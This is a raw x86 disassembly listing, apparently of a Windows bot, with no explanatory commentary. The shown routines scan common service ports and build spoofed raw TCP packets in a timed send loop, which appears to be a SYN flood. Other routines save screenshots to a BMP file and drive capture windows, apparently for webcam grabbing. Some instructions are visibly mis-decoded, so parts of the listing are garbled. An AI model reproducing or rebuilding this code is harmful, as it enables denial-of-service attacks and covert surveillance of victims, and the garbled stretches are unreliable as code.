cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_415168
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42720C ; connect
jmp loc_415224
; ---------------------------------------------------------------------------
loc_415168: ; CODE XREF: sub_41513F+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_4271F4 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4D1198 ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4D11D8 ; select
test eax, eax
jnz short loc_4151CC
or eax, 0FFFFFFFFh
jmp short loc_415224
; ---------------------------------------------------------------------------
loc_4151CC: ; CODE XREF: sub_41513F+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_4151D7
loc_4151D3: ; CODE XREF: sub_41513F+B8j
; sub_41513F+DCj
mov eax, edi
jmp short loc_415224
; ---------------------------------------------------------------------------
loc_4151D7: ; CODE XREF: sub_41513F+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4265E8 ; __WSAFDIsSet
test eax, eax
jnz short loc_4151F9
lea eax, [ebp+var_210]
push eax
push esi
call sub_4265E8 ; __WSAFDIsSet
test eax, eax
jz short loc_4151D3
loc_4151F9: ; CODE XREF: sub_41513F+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4271E0 ; getsockopt
cmp eax, edi
jz short loc_4151D3
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_415224: ; CODE XREF: sub_41513F+24j
; sub_41513F+8Bj ...
pop edi
pop esi
leave
retn
sub_41513F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop eax
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp-14h], eax
call dword_427204 ; WSASocketA
lea ecx, [ebp-14h]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4D4A18, eax
call dword_4D11D0 ; setsockopt
mov esi, dword_4270A8
call esi ; dword_4270A8
push eax
call sub_41BF88
pop ecx
xor eax, eax
push 19h
lea edi, [ebp-100h]
pop ecx
mov [ebp-10Ch], ebx
mov [ebp-7Ch], ecx
mov [ebp-108h], ebx
mov [ebp-104h], ebx
mov dword ptr [ebp-8Ch], 401h
mov dword ptr [ebp-88h], 15h
mov dword ptr [ebp-84h], 16h
mov dword ptr [ebp-80h], 17h
mov dword ptr [ebp-78h], 35h
mov dword ptr [ebp-74h], 50h
mov dword ptr [ebp-70h], 51h
mov dword ptr [ebp-6Ch], 58h
mov dword ptr [ebp-68h], 6Eh
mov dword ptr [ebp-64h], 71h
mov dword ptr [ebp-60h], 77h
mov dword ptr [ebp-5Ch], 87h
mov dword ptr [ebp-58h], 89h
mov dword ptr [ebp-54h], 8Bh
mov dword ptr [ebp-50h], 8Fh
mov dword ptr [ebp-4Ch], 1BBh
mov dword ptr [ebp-48h], 1BDh
mov dword ptr [ebp-44h], 400h
mov dword ptr [ebp-40h], 599h
mov dword ptr [ebp-3Ch], 5DCh
mov dword ptr [ebp-38h], 6B8h
mov dword ptr [ebp-34h], 0CEAh
mov dword ptr [ebp-30h], 0D3Dh
mov dword ptr [ebp-2Ch], 1388h
mov dword ptr [ebp-28h], 1A0Bh
mov dword ptr [ebp-24h], 1F40h
mov dword ptr [ebp-20h], 1F90h
rep stosd
mov [ebp-10h], ebx
mov dword ptr [ebp-1Ch], 3
mov dword ptr [ebp-18h], 0BB8h
mov [ebp-4], ebx
loc_41536E: ; CODE XREF: .nsp0:004153E9j
mov eax, [ebp+8]
mov word ptr [ebp-9Ch], 2
mov [ebp-98h], eax
mov eax, [ebp-4]
lea edi, [ebp+eax-8Ch]
mov ax, [ebp+eax-8Ch]
push eax
call dword_4D11F0 ; ntohs
push ebx
push 1
push 2
mov [ebp-9Ah], ax
call dword_4D1270 ; socket
lea ecx, [ebp-1Ch]
mov [ebp-0Ch], eax
push ecx
lea ecx, [ebp-9Ch]
push 10h
push ecx
push eax
call sub_41513F
add esp, 10h
mov [ebp-8], eax
push dword ptr [ebp-0Ch]
call dword_4D1288 ; closesocket
cmp [ebp-8], ebx
jnz short loc_4153E1
mov ecx, [ebp-4]
mov eax, [edi]
mov [ebp+ecx-10Ch], eax
loc_4153E1: ; CODE XREF: .nsp0:004153D3j
add dword ptr [ebp-4], 4
cmp dword ptr [ebp-4], 70h
jl short loc_41536E
mov edi, offset dword_4D4A1C
push offset asc_43368C ; " "
push edi
call sub_41BF36
pop ecx
pop ecx
call esi ; dword_4270A8
mov [ebp-0Ch], eax
lea eax, [ebp-10Ch]
mov [ebp-4], ebx
mov [ebp-8], eax
loc_41540E: ; CODE XREF: .nsp0:00415464j
call esi ; dword_4270A8
sub eax, [ebp-0Ch]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+0Ch]
ja short loc_415466
mov eax, [ebp-8]
mov eax, [eax]
cmp eax, ebx
jz short loc_41543F
push eax
push edi
push offset aSD ; "%s%d "
push edi
mov [ebp-10h], eax
call sub_41BF36
add esp, 10h
jmp short loc_415459
; ---------------------------------------------------------------------------
loc_41543F: ; CODE XREF: .nsp0:00415428j
push 0FFFFh
push ebx
call sub_418F1D
pop ecx
pop ecx
push eax
call dword_4D11F0 ; ntohs
movzx eax, ax
mov [ebp-10h], eax
loc_415459: ; CODE XREF: .nsp0:0041543Dj
inc dword ptr [ebp-4]
add dword ptr [ebp-8], 4
cmp dword ptr [ebp-4], 1Ch
jl short loc_41540E
loc_415466: ; CODE XREF: .nsp0:0041541Fj
; .nsp0:0041569Fj
push 28h
push ebx
push offset byte_4D49B8
call sub_41BC40
mov esi, 0FFFFh
mov byte_4D49B8, 45h
push esi
push 400h
mov byte_4D49C1, 6
mov byte_4D49B9, 8
call sub_418F1D
add esp, 14h
push eax
call dword_4D11F0 ; ntohs
push 28h
mov word_4D49BC, ax
call dword_4D11F0 ; ntohs
or byte_4D49C0, 0FFh
cmp dword_4D49A8, ebx
mov word_4D49BA, ax
mov word_4D49BE, bx
jnz short loc_4154E6
push 0FFFEh
push 1
call sub_418F1D
pop ecx
pop ecx
mov ecx, [ebp+8]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_4154F1
; ---------------------------------------------------------------------------
loc_4154E6: ; CODE XREF: .nsp0:004154CAj
push offset dword_4D4388
call dword_4D1230 ; inet_addr
loc_4154F1: ; CODE XREF: .nsp0:004154E4j
mov dword_4D49C4, eax
mov eax, [ebp+8]
push 4000h
mov dword_4D49C8, eax
mov byte_4D49D9, bl
call dword_4D11F0 ; ntohs
push esi
push ebx
mov word_4D49DA, ax
call sub_418F1D
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418F1D
add esp, 10h
add edi, eax
push edi
call dword_4D11EC ; ntohl
mov dword_4D49D0, eax
mov al, byte_4D49D8
mov edi, [ebp+8]
and al, 0Fh
or al, 50h
push 14h
mov byte_4D49D8, al
mov ax, [ebp-10h]
mov dword_4D49D4, ebx
mov word_4D49DE, bx
mov word_4D49CE, ax
mov dword_4D49F4, edi
mov byte_4D49F8, bl
mov byte_4D49F9, 6
call dword_4D11F0 ; ntohs
mov word_4D49FA, ax
mov ax, word_4D49CE
mov word_4D49E0, 2
mov dword_4D49E4, edi
mov word_4D49E2, ax
mov [ebp-4], ebx
jmp short loc_4155A7
; ---------------------------------------------------------------------------
loc_4155A2: ; CODE XREF: .nsp0:00415679j
mov esi, 0FFFFh
loc_4155A7: ; CODE XREF: .nsp0:004155A0j
cmp [ebp-4], ebx
jnz short loc_4155DB
push esi
push ebx
call sub_418F1D
pop ecx
pop ecx
push eax
call dword_4D11F0 ; ntohs
mov word_4D49CC, ax
mov eax, dword_4D49C4
mov dword_4D49F0, eax
mov byte_4D49D9, 2
mov dword_4D49D4, ebx
jmp short loc_4155FA
; ---------------------------------------------------------------------------
loc_4155DB: ; CODE XREF: .nsp0:004155AAj
push esi
push ebx
mov byte_4D49D9, 10h
call sub_418F1D
pop ecx
pop ecx
push eax
call dword_4D11F0 ; ntohs
movzx eax, ax
mov dword_4D49D4, eax
loc_4155FA: ; CODE XREF: .nsp0:004155D9j
inc word_4D49BC
inc dword_4D49D0
mov ax, word_4D49CE
push 5
pop ecx
mov esi, offset word_4D49CC
mov edi, offset dword_4D49FC
mov word_4D49C2, bx
mov word_4D49DC, bx
push 14h
rep movsd
mov esi, offset byte_4D49B8
mov word_4D49E2, ax
push esi
call sub_40ABC3
push 20h
push offset dword_4D49F0
mov word_4D49C2, ax
call sub_40ABC3
add esp, 10h
mov word_4D49DC, ax
push 10h
push offset word_4D49E0
push ebx
push 28h
push esi
push dword_4D4A18
call dword_4D1254 ; sendto
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 3FFh
jl loc_4155A2
call dword_4270A8 ; GetTickCount
sub eax, [ebp-0Ch]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+0Ch]
ja short loc_4156A4
push dword ptr [ebp+10h]
call dword_427064 ; Sleep
jmp loc_415466
; ---------------------------------------------------------------------------
loc_4156A4: ; CODE XREF: .nsp0:00415694j
pop edi
pop esi
mov eax, offset dword_4D4A1C
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156AE proc near ; CODE XREF: .nsp0:00408C11p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_4433A0
mov edi, 0B8h
loc_4156C2: ; CODE XREF: sub_4156AE+33j
cmp byte ptr [esi], 0
jz short loc_4156E5
push [ebp+arg_0]
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_4156E5
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_443F20
jl short loc_4156C2
jmp short loc_415727
; ---------------------------------------------------------------------------
loc_4156E5: ; CODE XREF: sub_4156AE+17j
; sub_4156AE+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_4433A0[esi]
push ebx
call sub_41BC40
push 17h
push [ebp+arg_0]
push ebx
call sub_41BCA0
push 9Fh
lea eax, dword_4433B8[esi]
push [ebp+arg_4]
push eax
call sub_41BCA0
add esp, 24h
inc dword_42B684
pop ebx
loc_415727: ; CODE XREF: sub_4156AE+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4156AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41572E proc near ; CODE XREF: .nsp0:004043AAp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_43E430
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
xor edi, edi
mov esi, offset dword_4433A0
loc_415758: ; CODE XREF: sub_41572E+72j
cmp byte ptr [esi], 0
jz short loc_415793
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_43E41C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C030
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 2Ch
loc_415793: ; CODE XREF: sub_41572E+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_443F20
jl short loc_415758
pop edi
pop esi
leave
retn
sub_41572E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157A6 proc near ; CODE XREF: .nsp0:00401ECCp
; .nsp0:004020E6p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_427130 ; GetLocalTime
mov ebx, offset dword_4D8E1C
mov edi, 80h
mov esi, offset dword_4D4E1C
loc_4157C8: ; CODE XREF: sub_4157A6+3Dj
cmp byte ptr [ebx], 0
jz short loc_4157DF
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BCA0
add esp, 0Ch
loc_4157DF: ; CODE XREF: sub_4157A6+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4157C8
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C030
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4157A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41581A proc near ; CODE XREF: sub_4018A1+F7p
; .nsp0:loc_4020B5p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C830
lea eax, [ebp+var_80]
push eax
call sub_4157A6
add esp, 14h
leave
retn
sub_41581A endp
; =============== S U B R O U T I N E =======================================
sub_415846 proc near ; CODE XREF: .nsp0:004042A4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D4E1C
xor ecx, ecx
loc_41584D: ; CODE XREF: sub_415846+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D8E1C
jl short loc_41584D
cmp [esp+arg_C], ecx
jnz short loc_41587B
push ecx
push [esp+4+arg_8]
push offset dword_43E47C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_4099D2
add esp, 14h
loc_41587B: ; CODE XREF: sub_415846+19j
push offset dword_43E468
call sub_4157A6
pop ecx
retn
sub_415846 endp
; ---------------------------------------------------------------------------
byte_415887 db 55h ; DATA XREF: .nsp0:00404354o
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4158DA
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_43E4AC
push eax
push dword ptr [ebp-11Ch]
call sub_4099D2
add esp, 14h
loc_4158DA: ; CODE XREF: .nsp0:004158BAj
cmp byte ptr [ebp-98h], 0
jz short loc_4158FA
lea eax, [ebp-98h]
push eax
call sub_41BE29
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_4158FA
mov [ebp-8], eax
loc_4158FA: ; CODE XREF: .nsp0:004158E1j
; .nsp0:004158F5j
and dword ptr [ebp+8], 0
mov esi, offset dword_4D4E1C
loc_415903: ; CODE XREF: .nsp0:0041595Bj
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_41595D
cmp byte ptr [esi], 0
jz short loc_41594C
cmp byte ptr [ebp-98h], 0
jz short loc_415932
cmp dword ptr [ebp-4], 0
jnz short loc_415932
lea eax, [ebp-98h]
push eax
push esi
call sub_418832
pop ecx
test eax, eax
pop ecx
jz short loc_41594C
loc_415932: ; CODE XREF: .nsp0:00415917j
; .nsp0:0041591Dj
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_4099D2
add esp, 14h
loc_41594C: ; CODE XREF: .nsp0:0041590Ej
; .nsp0:00415930j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D8E1C
jl short loc_415903
loc_41595D: ; CODE XREF: .nsp0:00415909j
lea eax, [ebp-31Ch]
push offset dword_43E490
push eax
call sub_41BF36
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_415997
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_4099D2
add esp, 14h
loc_415997: ; CODE XREF: .nsp0:00415975j
lea eax, [ebp-31Ch]
push eax
call sub_4157A6
push dword ptr [ebp-18h]
call sub_40B32A
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
dw 4DE8h
; ---------------------------------------------------------------------------
cmpsb
jb short $+2
xor al, 5Fh
pop esi
loc_4159B6: ; CODE XREF: .nsp0:00408D59p
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4D11DC ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp-20h], edi
jz loc_415BEA
push 8
push edi
call dword_4D11F8 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp-8], eax
call dword_4D11F8 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp-0Ch], eax
call dword_4D11F8 ; GetDeviceCaps
cmp eax, 8
mov [ebp-10h], eax
ja short loc_415A18
push 18h
push edi
call dword_4D11F8 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_415A1A
; ---------------------------------------------------------------------------
loc_415A18: ; CODE XREF: .nsp0:00415A06j
xor ebx, ebx
loc_415A1A: ; CODE XREF: .nsp0:00415A16j
push edi
call dword_4D123C ; CreateCompatibleDC
cmp eax, esi
mov [ebp-4], eax
jz loc_415BCF
mov eax, [ebp-8]
push esi
mov [ebp-80h], eax
mov eax, [ebp-0Ch]
mov [ebp-7Ch], eax
mov ax, [ebp-10h]
mov [ebp-76h], ax
lea eax, [ebp-18h]
push esi
push eax
lea eax, [ebp-84h]
push 1
push eax
push edi
mov dword ptr [ebp-84h], 28h
mov word ptr [ebp-78h], 1
mov [ebp-74h], esi
mov [ebp-70h], esi
mov [ebp-6Ch], esi
mov [ebp-68h], esi
mov [ebp-64h], ebx
mov [ebp-60h], ebx
call dword_4D1234 ; CreateDIBSection
cmp eax, esi
mov [ebp-1Ch], eax
jz loc_415BDA
push eax
push dword ptr [ebp-4]
call dword_4D10C0 ; SelectObject
cmp eax, esi
jz loc_415BDA
cmp eax, 0FFFFFFFFh
jz loc_415BDA
push 0CC0020h
push esi
push esi
push edi
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push esi
push esi
push dword ptr [ebp-4]
call dword_4D1238 ; BitBlt
test eax, eax
jz loc_415BDA
cmp ebx, esi
jz short loc_415AD7
lea eax, [ebp-484h]
push eax
push ebx
push esi
push dword ptr [ebp-4]
call dword_4D1114 ; GetDIBColorTable
mov ebx, eax
loc_415AD7: ; CODE XREF: .nsp0:00415AC1j
mov edi, [ebp-10h]
mov ecx, [ebp-8]
imul edi, [ebp-0Ch]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp-8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp-26h], eax
mov eax, [ebp-0Ch]
push esi
push esi
push 40000000h
push dword ptr [ebp+8]
mov [ebp-50h], eax
mov ax, [ebp-10h]
mov word ptr [ebp-30h], 4D42h
mov [ebp-2Eh], edx
mov [ebp-2Ah], si
mov [ebp-28h], si
mov dword ptr [ebp-58h], 28h
mov [ebp-54h], ecx
mov word ptr [ebp-4Ch], 1
mov [ebp-4Ah], ax
mov [ebp-48h], esi
mov [ebp-44h], esi
mov [ebp-40h], esi
mov [ebp-3Ch], esi
mov [ebp-38h], ebx
mov [ebp-34h], esi
call dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_415BBA
lea ecx, [ebp-14h]
push esi
push ecx
lea ecx, [ebp-30h]
push 0Eh
push ecx
push eax
call near ptr 0B40000h
inc edx
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-58h]
push 28h
push eax
push dword ptr [ebp+8]
call near ptr 0B40000h
push ds
cmp ebx, esi
jz short near ptr loc_415B9B+1
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-484h]
push dword ptr [ebp-8]
push eax
push dword ptr [ebp+8]
call near ptr 0B40000h
loc_415B9B: ; CODE XREF: .nsp0:00415B82j
rep lea eax, [ebp-14h]
push esi
push eax
push edi
push dword ptr [ebp-18h]
push dword ptr [ebp+8]
call near ptr 0B40000h
lodsd
push dword ptr [ebp+8]
call dword_42706C ; CloseHandle
push 1
pop esi
loc_415BBA: ; CODE XREF: .nsp0:00415B58j
push dword ptr [ebp-1Ch]
call dword_4D114C ; DeleteObject
push dword ptr [ebp-4]
call dword_4D10AC ; DeleteDC
mov edi, [ebp-20h]
loc_415BCF: ; CODE XREF: .nsp0:00415A26j
push edi
call dword_4D10AC ; DeleteDC
mov eax, esi
jmp short loc_415BEC
; ---------------------------------------------------------------------------
loc_415BDA: ; CODE XREF: .nsp0:00415A7Dj
; .nsp0:00415A8Fj ...
push edi
call dword_4D10AC ; DeleteDC
push dword ptr [ebp-4]
call dword_4D10AC ; DeleteDC
loc_415BEA: ; CODE XREF: .nsp0:004159D9j
xor eax, eax
loc_415BEC: ; CODE XREF: .nsp0:00415BD8j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BF1 proc near ; CODE XREF: .nsp0:00408E80p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D8E20
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4D1140
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415C2F
mov eax, esi
jmp loc_415DE5
; ---------------------------------------------------------------------------
loc_415C2F: ; CODE XREF: sub_415BF1+35j
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415C4C
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4D124C ; SendMessageA
jmp short loc_415C4E
; ---------------------------------------------------------------------------
loc_415C4C: ; CODE XREF: sub_415BF1+47j
xor eax, eax
loc_415C4E: ; CODE XREF: sub_415BF1+59j
cmp eax, ebx
jnz short loc_415C59
loc_415C52: ; CODE XREF: sub_415BF1+88j
; sub_415BF1+BCj
mov ebx, esi
jmp loc_415DDA
; ---------------------------------------------------------------------------
loc_415C59: ; CODE XREF: sub_415BF1+5Fj
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415C76
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4D124C ; SendMessageA
loc_415C76: ; CODE XREF: sub_415BF1+71j
cmp [ebp+var_20], ebx
jz short loc_415C52
push edi
call dword_4D1190 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_415C9C
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4D124C ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_415C9F
; ---------------------------------------------------------------------------
loc_415C9C: ; CODE XREF: sub_415BF1+98j
mov [ebp+arg_4], ebx
loc_415C9F: ; CODE XREF: sub_415BF1+A9j
push [ebp+arg_4]
call sub_41BBCB
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415C52
push [ebp+arg_4]
call sub_41BBCB
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_415CC6
push 1
pop ebx
jmp loc_415DDA
; ---------------------------------------------------------------------------
loc_415CC6: ; CODE XREF: sub_415BF1+CBj
push [ebp+var_4]
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415CE3
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4D124C ; SendMessageA
loc_415CE3: ; CODE XREF: sub_415BF1+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call near ptr sub_41C9B0
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415CFE
mov ecx, 280h
loc_415CFE: ; CODE XREF: sub_415BF1+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415D0A
mov eax, 1E0h
loc_415D0A: ; CODE XREF: sub_415BF1+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4D1190 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_415D54
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4D124C ; SendMessageA
loc_415D54: ; CODE XREF: sub_415BF1+153j
push [ebp+var_4]
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415D71
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4D124C ; SendMessageA
loc_415D71: ; CODE XREF: sub_415BF1+16Ej
push [ebp+var_4]
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415D90
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4D124C ; SendMessageA
loc_415D90: ; CODE XREF: sub_415BF1+18Bj
push [ebp+var_4]
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415DAD
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4D124C ; SendMessageA
loc_415DAD: ; CODE XREF: sub_415BF1+1AAj
push [ebp+var_8]
call sub_41B961
push esi
call sub_41B961
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415DDA
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4D124C ; SendMessageA
loc_415DDA: ; CODE XREF: sub_415BF1+63j
; sub_415BF1+D0j ...
push [ebp+var_4]
call dword_4D12A0 ; DestroyWindow
mov eax, ebx
loc_415DE5: ; CODE XREF: sub_415BF1+39j
pop edi
pop esi
pop ebx
leave
retn
sub_415BF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DEA proc near ; CODE XREF: .nsp0:00408F38p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D8E20
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4D1140
mov edi, eax
cmp edi, ebx
jnz short loc_415E28
mov eax, esi
jmp loc_416024
; ---------------------------------------------------------------------------
loc_415E28: ; CODE XREF: sub_415DEA+35j
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415E45
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4D124C ; SendMessageA
jmp short loc_415E47
; ---------------------------------------------------------------------------
loc_415E45: ; CODE XREF: sub_415DEA+47j
xor eax, eax
loc_415E47: ; CODE XREF: sub_415DEA+59j
cmp eax, ebx
jnz short loc_415E52
loc_415E4B: ; CODE XREF: sub_415DEA+8Bj
; sub_415DEA+BCj
mov ebx, esi
jmp loc_41601B
; ---------------------------------------------------------------------------
loc_415E52: ; CODE XREF: sub_415DEA+5Fj
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415E72
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4D124C ; SendMessageA
loc_415E72: ; CODE XREF: sub_415DEA+71j
cmp [ebp+var_7C], ebx
jz short loc_415E4B
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415E95
push ebx
push ebx
push 42Ch
push edi
call dword_4D124C ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_415E98
; ---------------------------------------------------------------------------
loc_415E95: ; CODE XREF: sub_415DEA+96j
mov [ebp+arg_4], ebx
loc_415E98: ; CODE XREF: sub_415DEA+A9j
push [ebp+arg_4]
call sub_41BBCB
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415E4B
push [ebp+arg_4]
call sub_41BBCB
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_415EBF
push 1
pop ebx
jmp loc_41601B
; ---------------------------------------------------------------------------
loc_415EBF: ; CODE XREF: sub_415DEA+CBj
push edi
call dword_4D1190 ; IsWindow
test eax, eax
jz short loc_415EDC
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4D124C ; SendMessageA
loc_415EDC: ; CODE XREF: sub_415DEA+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call near ptr sub_41C9B0
